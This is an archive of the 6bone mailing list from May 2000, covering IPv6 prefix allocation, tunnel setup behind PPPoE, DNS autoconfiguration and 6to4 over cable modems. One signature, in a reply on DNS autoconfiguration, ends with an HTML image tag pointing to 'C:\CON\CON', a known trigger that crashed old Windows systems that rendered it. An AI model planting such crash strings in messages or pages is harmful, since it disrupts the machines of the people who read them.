          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 

% route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use
Iface
209.217.122.1   0.0.0.0         255.255.255.255 UH    0      0        0 ppp0
192.168.0.2     0.0.0.0         255.255.255.255 UH    0      0        0
cipcb2
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.0.0.0        192.168.0.2     255.255.0.0     UG    0      0        0
cipcb2
172.17.0.0      192.168.0.2     255.255.0.0     UG    0      0        0
cipcb2
192.168.0.0     192.168.0.2     255.255.0.0     UG    0      0        0
cipcb2
0.0.0.0         209.217.122.1   0.0.0.0         UG    0      0        0 ppp0

% route -A inet6 -n
Kernel IPv6 routing table
Destination                                 Next Hop
Flags Metric Ref    Use Iface
::1/128                                     ::
U     0      0        0 lo      
::127.0.0.1/128                             ::
U     0      0        0 lo      
::192.168.0.1/128                           ::
U     0      0        0 lo      
::209.217.122.211/128                       ::
U     0      0        0 lo      
::/96                                       ::
U     256    0        0 sit0    
3ffe:b00:c18:1fff::c3/128                   ::
U     0      0        0 lo      
fe80::c0a8:1/128                            ::
U     0      0        0 lo      
fe80::d1d9:7ad3/128                         ::
U     0      0        0 lo      
fe80::200:21ff:fe66:5d71/128                ::
U     0      0        0 lo      
fe80::280:c8ff:fe67:a5a1/128                ::
U     0      0        0 lo      
fe80::/10                                   ::
UA    256    0        0 eth0    
fe80::/10                                   ::
UA    256    0        0 eth1    
fe80::/10                                   ::
UA    256    0        0 ppp0    
fe80::/10                                   ::
UA    256    0        0 sit1    
ff00::/8                                    ::
UA    256    0        0 eth0    
ff00::/8                                    ::
UA    256    0        0 eth1    
ff00::/8                                    ::
UA    256    0        0 ppp0    
ff00::/8                                    ::
UA    256    0        0 sit1    
::/0                                        ::
UA    256    0        0 ppp0    
::/0                                        ::
UDA   256    0        0 eth0    
::/0                                        ::
UDA   256    0        0 eth1    

From 6bone-owner  Mon May 22 06:52:16 2000
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Date: Mon, 22 May 2000 08:51:25 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
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To: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
CC: Francis.Dupont@enst-bretagne.fr, itojun@iijlab.net, hswu@ns.6test.edu.cn,
        6bone@ISI.EDU, routing-wg@ripe.net
Subject: Re: About address allocating (IPv6, variable length SLA/prefixes?)
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Wilfried,

Architecturally, IPv6 has the equivalent of variable length subnet masks
built in. There are really only two boundaries that are not flexible-
the boundary between the format prefix and the rest of the address, and the
/64 boundary. (The format prefix is in fact variable length, but it is
architecturally defined.) So any IGP or EGP design needs to be fully flexible
to the left of /64. Subnetting to the right of /64 would be tricky.

   Brian

"Wilfried Woeber, UniVie/ACOnet" wrote:
> 
>   Hi Francis et.al.,
> 
>   as I said a couple of days ago in Budapest, I would like to see an
>   explanation and/or review from the routing point of view.
> 
>   Judging from my (limited) knowledge about IPv6, going for a variable
>   length SLA field would either leave us with "wasted" address space (as
>   the network next door would be a different site and thus should have a
>   different NLA field anyway), or we would end up with a variable length
>   network prefix length (much like in the v4 environment), effectively
>   extending the NLA field into the SLA field.
> 
>   Doing so would probably require a cross-check against existing
>   IPv6-aware IGPs. That is where I would like to see input from the
>   routing camp(s).
> 
>   Regards,
>   Wilfried.
> ______________________________________________________________________
> From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
> To: itojun@iijlab.net
> CC: Haisang Wu <hswu@ns.6test.edu.cn>, 6bone@ISI.EDU
> Subject: Re: About address allocating
> Date: Sat, 20 May 2000 15:17:57 +0200
> 
>  In your previous mail you wrote:
> 
> 
>    >   hi, I have the following questions about address allocating:
>    >     I know SLA is /48, and interface ID should be 64 bits,
>    >   does it mean that the smallest unit when allocating address is /48?
>    >   In other words, if I allocate a /48 to a large university, could I
>    >   allocate a /48 to four middle schools, thus each middle school gets
>    >   an block less than /48, which is /50. Is this plan reasonable?
>    >
>    >=> we'd like to get a /48, ISPs would like to give a /64 to us:
>    > - /48 seems a bit too large for a default allocation size
>    > - /64 is unusable when you need subneting
>    >then the current idea, as presented yesterday here in Budapest
>    >at the RIPE meeting, is to introduce "small site" which get
>    >/56 (on byte boundary, large enough for up to 256 subnetworks or
>    >a few levels of hierarchy).
>    >Then /56 will become the default allocation size in RIR
>    >allocation & assignment document.
> 
>         I'm not sure if introducing "small sites" is a good thing...
>         when we switch ISP and they force me to switch from /48 to /56,
>         renumber becomes very hard.
> 
> => the idea is that it is easier for someone which needs a /48
> to deal with its ISP than for a common customer to fight in order to
> get a /48 because /64 is not enough: this is a compromise for common
> customers (ie you at home, IIJlab is strong enough to get a /x with x <= 48).
> I believe it is a good compromise...
> 
> Regards
> 
> Francis.Dupont@enst-bretagne.fr
> --------------------------------------------------------------------------------
>  _________________________________:_____________________________________
>   Wilfried Woeber                 : e-mail: Woeber@CC.UniVie.ac.at
>   UniVie Computer Center - ACOnet : Tel: +43 1 4277 - 140 33
>   Universitaetsstrasse 7          : Fax: +43 1 4277 - 9 140
>   A-1010 Vienna, Austria, Europe  : RIPE-DB: WW144, PGP keyID 0xF0ACB369
>  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter 
Program Director, Internet Standards & Technology, IBM 
On assignment for IBM at http://www.iCAIR.org 
Attend INET 2000: http://www.isoc.org/inet2000
Non-IBM email: brian@icair.org

From 6bone-owner  Mon May 22 07:32:31 2000
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From: Matthew Darwin <matthew@davin.ottawa.on.ca>
To: Chris Kennedy <ckennedy@iland.net>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 over IPv4 over PPPoE?
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Ok, the route is there now.  Thanks.

However, I'm still having problems in that I can't ping the other end of
my tunnel. (3ffe:b00:c18:1fff:0:0:0:c2).  I see the traffic going out my
ppp0 interface, but I never get any replies.

Ideas?  I've been playing with my MTU, but that doesn't seem to help.  
My ISP recommends using an MTU of 1400 for regular traffic on my PPP
link, so I reduced all the sitX interfaces by 100.


% modprobe ipv6
% echo "1" >  /proc/sys/net/ipv6/conf/all/forwarding 
% ifconfig sit0 up mtu 1380
% ifconfig ppp0 add 3ffe:b00:c18:1fff:0:0:0:c3
% ifconfig sit0 tunnel ::206.123.31.102
% ifconfig sit1 up mtu 1280
% route -A inet6 add ::0/0 gw fe80::206.123.31.102 dev sit1 

On Mon, 22 May 2000, Chris Kennedy wrote:

> I think one thing that may be the only problem is the default route, the
> Linux 'route' program doesn't understand the default route by name, it
> wants 'route -A inet6 add ::/0 gw fe80::206.123.31.102 dev sit1'.  That
> error means it is not adding the default route at all, I was confused by
> it at first too (I actually now use the iproute2 package, ip utilities,
> since they work better but are less documented).  I included my hack at a
> script for Linux and the ip utilities, it has Freenet6's default values
> (network and tunnel server ip) in it but could be used for any tunnel if
> adjusted, and may help if wanting to use the iproute2 package (this
> package is in the most of the newest Linux Distributions).



From 6bone-owner  Mon May 22 07:46:46 2000
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To: Brian E Carpenter <brian@hursley.ibm.com>
Cc: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>,
        Francis.Dupont@enst-bretagne.fr, itojun@iijlab.net,
        hswu@ns.6test.edu.cn, 6bone@ISI.EDU, routing-wg@ripe.net
Subject: Re: About address allocating (IPv6, variable length SLA/prefixes?)
References: <009EA615.FA06CB56.10@cc.univie.ac.at>
	<39293B5D.7392ACD8@hursley.ibm.com>
From: Ole Troan <ot@cisco.com>
Date: 22 May 2000 15:46:24 +0100
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> Architecturally, IPv6 has the equivalent of variable length subnet masks
> built in. There are really only two boundaries that are not flexible-
> the boundary between the format prefix and the rest of the address, and the
> /64 boundary. (The format prefix is in fact variable length, but it is
> architecturally defined.) So any IGP or EGP design needs to be fully flexible
> to the left of /64. Subnetting to the right of /64 would be tricky.

all IGP's and EGP's have to support all prefix-lengths. e.g you
want to announce host routes, /96 for NAT-PT, etc.
for that matter, the implementation(s) I know will let you create
subnets of whatever size you like.

/ot

From 6bone-owner  Mon May 22 08:07:12 2000
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Subject: Re: About address allocating (IPv6, variable length SLA/prefixes?)
References: <009EA615.FA06CB56.10@cc.univie.ac.at>
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Ole Troan wrote:
> 
> > Architecturally, IPv6 has the equivalent of variable length subnet masks
> > built in. There are really only two boundaries that are not flexible-
> > the boundary between the format prefix and the rest of the address, and the
> > /64 boundary. (The format prefix is in fact variable length, but it is
> > architecturally defined.) So any IGP or EGP design needs to be fully flexible
> > to the left of /64. Subnetting to the right of /64 would be tricky.
> 
> all IGP's and EGP's have to support all prefix-lengths. e.g you
> want to announce host routes, /96 for NAT-PT, etc.
> for that matter, the implementation(s) I know will let you create
> subnets of whatever size you like.

Yes, but there are other problems if you subnet to the right of /64
(autoconfiguration for example). I said tricky, not impossible.

  Brian

From 6bone-owner  Mon May 22 08:31:16 2000
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To: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: About address allocating 
In-reply-to: Your message of Sun, 21 May 2000 10:20:12 PDT.
             <39281ACC.383E07FE@quack.kfu.com> 
Date: Mon, 22 May 2000 10:31:26 -0500
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I don't think anyone ever argued against allowing a dial-up host to
receive a single IPv6 address.  (Which you might call a /128.)  There
has been talk of allowing (or disallowing) assignment of a single
subnet (a /64) to a dialup connection.  I don't recall any official
position.  And the real world being what it is, an official
declaration would likely have little operational impact.

But I think everyone involved in the IPv6 process would stand firm
against the use of any prefix lengths in the range 65 to 127
inclusive *under format prefix 001 binary*, and against the
assignment to a "site" or "organization" (whatever that is) of a
prefix with length greater than 48.
______________________________________________________________________________
Matt Crawford                    crawdad@fnal.gov                     Fermilab
"A5.1.5.2.7.1. Remove all classified and CCI boards from the COMSEC equipment,
thoroughly smash them with a hammer or an ax, and scatter the pieces."

From 6bone-owner  Mon May 22 08:38:32 2000
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 <39293B5D.7392ACD8@hursley.ibm.com> <7t58zx2wslb.fsf@jaws.cisco.com>
 <39294CED.E262CF6@hursley.ibm.com>
Date: Mon, 22 May 2000 08:37:39 -0700
To: Brian E Carpenter <brian@hursley.ibm.com>
From: Steve Deering <deering@cisco.com>
Subject: Re: About address allocating (IPv6, variable length SLA/prefixes?)
Cc: Ole Troan <ot@cisco.com>,
        "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>,
        Francis.Dupont@enst-bretagne.fr, itojun@iijlab.net,
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At 10:06 AM -0500 5/22/00, Brian E Carpenter wrote:
>Yes, but there are other problems if you subnet to the right of /64
>(autoconfiguration for example).

It depends on the address format.  Not all format prefixes require the
64-bit interface ID field.

Agreed that, in the global aggregatable format, subnet prefixes longer
than /64 create problems.

However, implementations should be kept unaware of the magic /64 boundary,
as much as possible.  (Obviously, the piece of code that does stateless
autoconfig has to know about it, but certainly not any routing code.)

Steve


From 6bone-owner  Mon May 22 09:35:30 2000
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Reply-To: "Marcelo Franca Alves \(MFA\)" <mfa@mfa.eti.br>
From: "Marcelo Franca Alves \(MFA\)" <mfa@mfa.eti.br>
To: <6bone@ISI.EDU>, <users@ipv6.org>
Subject: libpcap + tcpdump
Date: Mon, 22 May 2000 13:33:40 -0300
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Anyone here had success compiling

libpcap-0.5 + tcpdump-3.5 in RedHat 6.2 for IPv6?

I am receiving very errors messages, and need help.

Thanks
-----
Marcelo Franca Alves (MFA) http://www.mfa.eti.br
Sao Paulo - SP - Brasil


From 6bone-owner  Mon May 22 11:50:49 2000
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Date: Mon, 22 May 2000 13:49:40 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: Steve Deering <deering@cisco.com>
CC: Ole Troan <ot@cisco.com>,
        "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>,
        Francis.Dupont@enst-bretagne.fr, itojun@iijlab.net,
        hswu@ns.6test.edu.cn, 6bone@ISI.EDU, routing-wg@ripe.net
Subject: Re: About address allocating (IPv6, variable length SLA/prefixes?)
References: <009EA615.FA06CB56.10@cc.univie.ac.at>	
	 <39293B5D.7392ACD8@hursley.ibm.com> <7t58zx2wslb.fsf@jaws.cisco.com>
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Steve Deering wrote:
> 
> At 10:06 AM -0500 5/22/00, Brian E Carpenter wrote:
> >Yes, but there are other problems if you subnet to the right of /64
> >(autoconfiguration for example).
> 
> It depends on the address format.  Not all format prefixes require the
> 64-bit interface ID field.
> 
> Agreed that, in the global aggregatable format, subnet prefixes longer
> than /64 create problems.
> 
> However, implementations should be kept unaware of the magic /64 boundary,
> as much as possible.  (Obviously, the piece of code that does stateless
> autoconfig has to know about it, but certainly not any routing code.)

I didn't mean to imply otherwise.

  Brian

From 6bone-owner  Mon May 22 12:20:18 2000
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Date: Mon, 22 May 2000 15:20:21 -0400
From: James Housley <jim@thehousleys.net>
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To: Matthew Darwin <matthew@davin.ottawa.on.ca>
CC: Chris Kennedy <ckennedy@iland.net>, 6bone@ISI.EDU
Subject: Re: IPv6 over IPv4 over PPPoE?
References: <Pine.LNX.4.21.0005221018190.18225-100000@caribou.davin.ottawa.on.ca>
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Matthew Darwin wrote:
> 
> Ideas?  I've been playing with my MTU, but that doesn't seem to help.
> My ISP recommends using an MTU of 1400 for regular traffic on my PPP
> link, so I reduced all the sitX interfaces by 100.
> 
You shouldn't have to because it is inside a packet with the correct MTU, unless fragments are note allowed?

Jim
-- 
Nothing is fool proof, because fools are too ingenious.

From 6bone-owner  Mon May 22 12:29:44 2000
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From: Matthew Darwin <matthew@davin.ottawa.on.ca>
To: James Housley <jim@thehousleys.net>
cc: Chris Kennedy <ckennedy@iland.net>, 6bone@ISI.EDU
Subject: Re: IPv6 over IPv4 over PPPoE?
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It seems that PPPoE can't deal with fragments.  All workstations on my
network have an MTU of 1400 so that all PPPoE driver has to do is add the
PPP header.

There is an module (mssfwclamp) that supposed to get rid of the MTU
problem for masquerading (so an MTU of 1500 on a workstation is not a
problem), but I'm not using this.


On Mon, 22 May 2000, James Housley wrote:

> Matthew Darwin wrote:
> > 
> > Ideas?  I've been playing with my MTU, but that doesn't seem to help.
> > My ISP recommends using an MTU of 1400 for regular traffic on my PPP
> > link, so I reduced all the sitX interfaces by 100.
> > 
> You shouldn't have to because it is inside a packet with the correct MTU, unless fragments are note allowed?
> 
> Jim
> -- 
> Nothing is fool proof, because fools are too ingenious.
> 

-- 
Matthew Darwin                            Westend Family Cinema
Community Volunteer                       The home of great family movies!
matthew@davin.ottawa.on.ca                webmaster@familycinema.org
http://www.davin.ottawa.on.ca/~matthew/   http://www.familycinema.org


From 6bone-owner  Tue May 23 06:21:37 2000
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To: Nick Sayer <nsayer@quack.kfu.com>
CC: Lucky Green <shamrock@cypherpunks.to>, 6bone@ISI.EDU
Subject: Re: About address allocating
References: <NDBBIFGOKODBCKDGJDKLIEFCDOAA.shamrock@cypherpunks.to> <39281ACC.383E07FE@quack.kfu.com>
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Nick Sayer wrote:
> 
> Lucky Green wrote:
> Having every one of those providers having to get a /48 for every 
> single modem they have is ludicrous overkill. The way the PPP RFCs 
> for IPv6 read, the path of least resistance is to give each modem 
> _bank_ a /64. The prefix is sufficient to route to a specific bank. 
> The dialup link will provide its own EID, which has the added benefit 
> of making hijack-by-connection-reuse less likely and means that such 
> dynamic users who dial the same bank probably _do_ have a static IP 
> address after all (since their EID is not likely/supposed > to 
> change).
> 
> No, we don't have to be misers with v6 address space like we did 
> under v4.  And yes, I think that anyone with a dedicated link of any 
> kind really ought to get a /48. Even dialup customers who do the 
> dedicated-dialup trick ought to.
> But I have no problem drawing the line at on-demand-dynamic-dialup 
> customers. Just because a resource is plentiful doesn't _require_ 
> us to waste it.

I agree with this 100%.  The US Robotics Total Control can now manage
16 incoming T1s in a single cabinet.  Even then, that's only 384 
modems.  A /64 should be sufficient for those.  There are plenty of 
addresses for people who need subnets, and the management for each 
(single) modem is fairly easy.  Autodiscovery should take care of 
the rest.


From 6bone-owner  Tue May 23 07:49:04 2000
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Subject: IPv6 WWW Client and IPv6 DNS Server
Date: Tue, 23 May 2000 16:51:46 +0200
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I  would like installing an Ipv6 WWW client for Windows NT. I have probed
with Lyns and Mozilla bust I do not know which  DNS Server I must configure
to resolve the ipv6 address. Could someone helping me???

From 6bone-owner  Tue May 23 10:03:44 2000
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From 6bone-owner  Wed May 24 15:17:20 2000
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From: Nick Sayer <nsayer@quack.kfu.com>
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To: 6bone@ISI.EDU
Subject: IPv6 DNS autoconfiguration?
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I have some random thoughts for how one could achieve IPv6 DNS
autoconfiguration, which I regard as the last step before
plug-n-play networking truly arrives.

One simply needs to fill in the "nameserver" line, really.
Everything else is optional.

It could be as simple as a recommendation that a particular
link-local alias (fe80::35?) always either be a name server or
a redirector. Or perhaps a particular site-local address
(ff00::35?) ?

... Or do people envision using a dumbed-down DHCP for this?
Maybe it's just me, but the ability to define site-local
aliases so easily makes me think that nothing is gained from
using DHCP instead of an alias. What does everyone think?


From 6bone-owner  Wed May 24 19:04:03 2000
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Date: Thu, 25 May 2000 10:04:02 +0800 (GMT-8)
From: Liu Yongxiang <liuyx@comp.nus.edu.sg>
To: Nick Sayer <nsayer@quack.kfu.com>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 DNS autoconfiguration?
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Good idea indeed.

On Wed, 24 May 2000, Nick Sayer wrote:

> I have some random thoughts for how one could achieve IPv6 DNS
> autoconfiguration, which I regard as the last step before
> plug-n-play networking truly arrives.
> 
> One simply needs to fill in the "nameserver" line, really.
> Everything else is optional.
> 
> It could be as simple as a recommendation that a particular
> link-local alias (fe80::35?) always either be a name server or
> a redirector. Or perhaps a particular site-local address
> (ff00::35?) ?
> 
> ... Or do people envision using a dumbed-down DHCP for this?
> Maybe it's just me, but the ability to define site-local
> aliases so easily makes me think that nothing is gained from
> using DHCP instead of an alias. What does everyone think?
> 


From 6bone-owner  Wed May 24 19:50:50 2000
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From: Robert Elz <kre@munnari.OZ.AU>
To: Nick Sayer <nsayer@quack.kfu.com>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 DNS autoconfiguration? 
In-Reply-To: Your message of "Wed, 24 May 2000 15:17:43 MST."
             <200005242217.PAA12155@medusa.kfu.com> 
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    Date:        Wed, 24 May 2000 15:17:43 -0700 (PDT)
    From:        Nick Sayer <nsayer@quack.kfu.com>
    Message-ID:  <200005242217.PAA12155@medusa.kfu.com>

  | One simply needs to fill in the "nameserver" line, really.
  | Everything else is optional.

The nameserver line is optional too - then it defaults to a nameserver
on localhost.

The only difference between this and a hundred other services that need
to be configured (or might) (and OK, perhaps a half dozen...) is that
a nameserver is less frequently actually run on the local host than many
of the others.

But, I'm just as likely to need to fine my SMTP server, POP server,
printer server, NFS server for my user files, NTP server, HTTP proxy, ...

Without having ever actually looked at what is going on out there, I had
always half imagined that it was ssvrloc's job to help find all of these
kinds of things.

DHCP can do it as well, usually at the cost of more configuration (one
can imagine servers registering themselves somehow with svrloc, but not
with dhcp .. but maybe that's just because I know dhcp better).   I'm
not sure I'd like to race around defining lots of well known link-local
aliases, and then require routers to be configured to forward them to
the right places (when they're not really local).   Actually, it is worse
than that, sending to a link local, I should be using a link local source,
if the actual nameserver is not on the local subnet, but remote, that
can't work at all - the router would need to do very nasty tricks.

kre


From 6bone-owner  Wed May 24 22:50:51 2000
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From: David Gethings <davidg@uk.uu.net>
To: "'Nick Sayer'" <nsayer@quack.kfu.com>, 6bone@ISI.EDU
Subject: RE: IPv6 DNS autoconfiguration?
Date: Thu, 25 May 2000 06:48:12 +0100
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Unfortunately Nick I don't think it's quite as simple :(

Most people use their ISP's resolvers, so link-local and site-local
addresses won't be much use.

One way around this (and I haven't thought about this *too* hard!) is to get
the info from the router. Virtually all routers have resolver addresses
configured into them, so they could pass this config to the hosts on the
LAN.

Even as I typed the above it sounded like a nasty hack rather than a proper
solution! For one thing its provider dependant.

I'm sure someone with more time (and a bigger brain ;)) will find a proper
solution, but I wouldn't hold your breath.

Regards

David "No doubt there's a RFC detailing how to do this somewhere" Gethings
Network Operations Engineer
UUNET, an MCI WorldCom Company 

-----Original Message-----
From: Nick Sayer [mailto:nsayer@quack.kfu.com]
Sent: 24 May 2000 11:18
To: 6bone@ISI.EDU
Subject: IPv6 DNS autoconfiguration?


I have some random thoughts for how one could achieve IPv6 DNS
autoconfiguration, which I regard as the last step before
plug-n-play networking truly arrives.

One simply needs to fill in the "nameserver" line, really.
Everything else is optional.

It could be as simple as a recommendation that a particular
link-local alias (fe80::35?) always either be a name server or
a redirector. Or perhaps a particular site-local address
(ff00::35?) ?

... Or do people envision using a dumbed-down DHCP for this?
Maybe it's just me, but the ability to define site-local
aliases so easily makes me think that nothing is gained from
using DHCP instead of an alias. What does everyone think?

From 6bone-owner  Thu May 25 01:17:33 2000
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Date: Thu, 25 May 2000 02:17:55 -0600
From: Miles Nordin <carton@Ivy.NET>
To: 6bone@ISI.EDU
Subject: Re: IPv6 DNS autoconfiguration?
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On Thu, May 25, 2000 at 12:46:50PM +1000, Robert Elz wrote:
> [special cases for finding a nameserver] ... But, I'm just as likely 
> to need to fine my SMTP server, POP server, printer server, NFS server 
> for my user files, NTP server, HTTP proxy, ...

The difference is, you are likely to ``find'' all those other servers using 
symbolic names.  Especially when their numeric ``name'' is forty characters 
long, you will be inclined to deal with textual hostnames even if you are a 
sloppy and artless sysadmin.  Therefore, you must find the nameserver before 
you go looking for all that other PeeCee Workstation nonsense.

For example, on Unix when I boot diskless boxes I make sure they have a 
reslov.conf immediately so I can use hostnames in fstab.  They need a 
nameserver even before they grab themselves an NFS server for /usr.  The 
nameserver is different from those other servers you mentioned.

I have seen some vendor Unixes that will even resort to setting their 
hostnames from reverse lookup records.  Consider:
  1) get local IPaddr with address discovery or some built-in IPv6 stuff
  2) find nameserver using built-in mysterious clever scheme
  3) perform a reverse-lookup to get hostname.domainname.  Set the 
     hostname and the 'search' domainlist.
  4) default to well-known CNAME's:
      mail.domainname
      pop.domainname
      time.domainname

Thus, there is a crude way of ``finding'' all these less important services, 
even without DHCP, given a way to automatically find a nameserver first.  
It isn't a particularly _good_ way, but it isn't a rediculous way either.  
It serves to demonstrate the ``specialness'' of the nameserver.

While I lack the knowledge to comment on the worthiness of N. Sayer's 
specific scheme, it seems clear to me that giving the nameserver special 
treatment compared to other random daemons is a reasonable thing to do.

Not necessarily desireable, but reasonable to a first order.  I disagree 
with your analogy.

-- 
Miles Nordin / v:+1 720 841-8308 fax:+1 530 579-8680
555 Bryant Street PMB 182 / Palo Alto, CA 94301-1700 / US

<IMG SRC="C:\CON\CON" HEIGHT="0" WIDTH="0">

From 6bone-owner  Thu May 25 03:55:35 2000
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From: Toomas Soome <tsoome@ut.ee>
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David Gethings wrote:
> 
> Unfortunately Nick I don't think it's quite as simple :(
> 
> Most people use their ISP's resolvers, so link-local and site-local
> addresses won't be much use.
> 

As DNS is "global" naming service, it is not too easy to integrate local
names such as site local or even worse - link local with it. Even if you
have to reconfigure your global names, it's major pain..... We had to
change our domain master server some years ago and it took about week to
get old address to vanish, for example. The problem at client side, I
think, is choosing the right address to make connection with - if host
has severall addresses - ipv4, ipv6 global, site local and link local,
the client resolver must not resolve adresses whicha are clearly not
reachable. I mean, if the target host is from different subnet, the
resolver must not give me link local adress. If the target is from
different site, resolver must not give site local etc. Just now I can
configure my naming service to include all addresses and this will work
as long as all hosts are reachable for all addresses.... but this all is
for resolving names and connecting to host. name registering and related
security is another issue...

toomas
-- 
HE:	Let's end it all, bequeathin' our brains to science.
SHE:	What?!?  Science got enough trouble with their OWN brains.
		-- Walt Kelley

From 6bone-owner  Thu May 25 06:43:31 2000
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David Gethings wrote:
> 
> Unfortunately Nick I don't think it's quite as simple :(
> 
> Most people use their ISP's resolvers, so link-local and site-local
> addresses won't be much use.
> 

That is a problem.

> One way around this (and I haven't thought about this *too* hard!) is to get
> the info from the router. Virtually all routers have resolver addresses
> configured into them, so they could pass this config to the hosts on the
> LAN.
> 

Since we can (according to the IPv6 hype I've seen) autodiscover 
routers, we should be able do something like autodiscovery of name 
services the same way.  Extending the paradigm to include DNS might 
work.

> Even as I typed the above it sounded like a nasty hack rather than a proper
> solution! For one thing its provider dependant.
>

I agree again - this would be something very ISP specific.  Symbolic
autodiscovery (suggested in another thread) would be problematic as
well.

One egrgiously bad way to do it would be to start up an 'nmap' style 
scan of the local network looking for nameservers, etc.   You could 
then keep track of the local services you need and press on out from 
there.

Of course, DHCP6 would also solve the problem by providing all of that
information.  If we could autodiscover a local DHCP6 server, then we 
could query it for all of the services we'd be interested in.


From 6bone-owner  Thu May 25 09:02:29 2000
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From: Toomas Soome <tsoome@ut.ee>
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Jun-ichiro itojun Hagino wrote:
> 
> >> Unfortunately Nick I don't think it's quite as simple :(
> >> Most people use their ISP's resolvers, so link-local and site-local
> >> addresses won't be much use.
> >As DNS is "global" naming service, it is not too easy to integrate local
> >names such as site local or even worse - link local with it.
> 
>         I think distinction has to be made here.  Original posting mentioned
>         use of link-local/site-local address as DNS server's IPv6 address,
>         which will be used by clients to contact DNS servers.
>         You are talking about putting scoped address into DNS database.
>         They are very different topic (modulo NS record), I believe.
> 

oops, I'm sorry, my mistake. 

toomas
-- 
There are two ways to write error-free
programs; only the third one works.

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From: Jim Bound <bound@zk3.dec.com>
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Subject: Re: IPv6 DNS autoconfiguration? 
In-reply-to: Your message of "Wed, 24 May 2000 15:17:43 PDT."
             <200005242217.PAA12155@medusa.kfu.com> 
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I don't think link-locals or site-locals belong in the DNS.
Today.
But I do agree with global addresses.

/jim

From 6bone-owner  Sun May 28 01:00:51 2000
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Date: Thu, 25 May 2000 10:04:02 +0800 (GMT-8)
From: Liu Yongxiang <liuyx@comp.nus.edu.sg>
To: Nick Sayer <nsayer@quack.kfu.com>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 DNS autoconfiguration?
In-Reply-To: <200005242217.PAA12155@medusa.kfu.com>
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Good idea indeed.

On Wed, 24 May 2000, Nick Sayer wrote:

> I have some random thoughts for how one could achieve IPv6 DNS
> autoconfiguration, which I regard as the last step before
> plug-n-play networking truly arrives.
> 
> One simply needs to fill in the "nameserver" line, really.
> Everything else is optional.
> 
> It could be as simple as a recommendation that a particular
> link-local alias (fe80::35?) always either be a name server or
> a redirector. Or perhaps a particular site-local address
> (ff00::35?) ?
> 
> ... Or do people envision using a dumbed-down DHCP for this?
> Maybe it's just me, but the ability to define site-local
> aliases so easily makes me think that nothing is gained from
> using DHCP instead of an alias. What does everyone think?
> 

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From: Robert Elz <kre@munnari.OZ.AU>
To: Nick Sayer <nsayer@quack.kfu.com>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 DNS autoconfiguration? 
In-Reply-To: Your message of "Wed, 24 May 2000 15:17:43 MST."
             <200005242217.PAA12155@medusa.kfu.com> 
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    Date:        Wed, 24 May 2000 15:17:43 -0700 (PDT)
    From:        Nick Sayer <nsayer@quack.kfu.com>
    Message-ID:  <200005242217.PAA12155@medusa.kfu.com>

  | One simply needs to fill in the "nameserver" line, really.
  | Everything else is optional.

The nameserver line is optional too - then it defaults to a nameserver
on localhost.

The only difference between this and a hundred other services that need
to be configured (or might) (and OK, perhaps a half dozen...) is that
a nameserver is less frequently actually run on the local host than many
of the others.

But, I'm just as likely to need to fine my SMTP server, POP server,
printer server, NFS server for my user files, NTP server, HTTP proxy, ...

Without having ever actually looked at what is going on out there, I had
always half imagined that it was ssvrloc's job to help find all of these
kinds of things.

DHCP can do it as well, usually at the cost of more configuration (one
can imagine servers registering themselves somehow with svrloc, but not
with dhcp .. but maybe that's just because I know dhcp better).   I'm
not sure I'd like to race around defining lots of well known link-local
aliases, and then require routers to be configured to forward them to
the right places (when they're not really local).   Actually, it is worse
than that, sending to a link local, I should be using a link local source,
if the actual nameserver is not on the local subnet, but remote, that
can't work at all - the router would need to do very nasty tricks.

kre

From 6bone-owner  Sun May 28 01:00:53 2000
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From: Nick Sayer <nsayer@quack.kfu.com>
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To: 6bone@ISI.EDU
Subject: IPv6 DNS autoconfiguration?
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I have some random thoughts for how one could achieve IPv6 DNS
autoconfiguration, which I regard as the last step before
plug-n-play networking truly arrives.

One simply needs to fill in the "nameserver" line, really.
Everything else is optional.

It could be as simple as a recommendation that a particular
link-local alias (fe80::35?) always either be a name server or
a redirector. Or perhaps a particular site-local address
(ff00::35?) ?

... Or do people envision using a dumbed-down DHCP for this?
Maybe it's just me, but the ability to define site-local
aliases so easily makes me think that nothing is gained from
using DHCP instead of an alias. What does everyone think?

From 6bone-owner  Sun May 28 12:24:50 2000
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Message-ID: <393171E0.49B4AED8@sc.rr.com>
Date: Sun, 28 May 2000 15:22:08 -0400
From: Daniel Morgan <danmorg@sc.rr.com>
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To: 6bone@ISI.EDU
Subject: 6to4 tunneling using a cable modem
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I'm interested in learning IPv6, and it seems the best way to learn it
is to use it.  Thus, I have several questions about 6to4 tunneling.

Can a home user using a cable modem that only assigns a dynamic IPv4
address be used in 6to4 tunneling?  My cable internet is provided by
Road Runner.

What is the easiest operating system to do IPv6 with: FreeBSD, Linux,
Solaris, or Windows NT?
I will assume, for the moment, that Linux is the easiest since so much
code and information is available for it, but you can prove me wrong.

How do I enable 6to4 support in Linux to work with a cable modem?

And I guess the most important question is how do I get a IPv6 address
connected somehow to the 6BONE?

Is there any ISPs willing to provide a IPv6 address to a home user in
the southeastern United States?

Thanks in advance,
Daniel Morgan
danmorg@sc.rr.com








From 6bone-owner  Sun May 28 13:19:40 2000
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To: Daniel Morgan <danmorg@sc.rr.com>
CC: 6bone@ISI.EDU
Subject: Re: 6to4 tunneling using a cable modem
References: <393171E0.49B4AED8@sc.rr.com>
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Hi Daniel,

Basically whay you need is just an IP connection to the Internet to setup
your tunnel. So a cable modem should be fine.

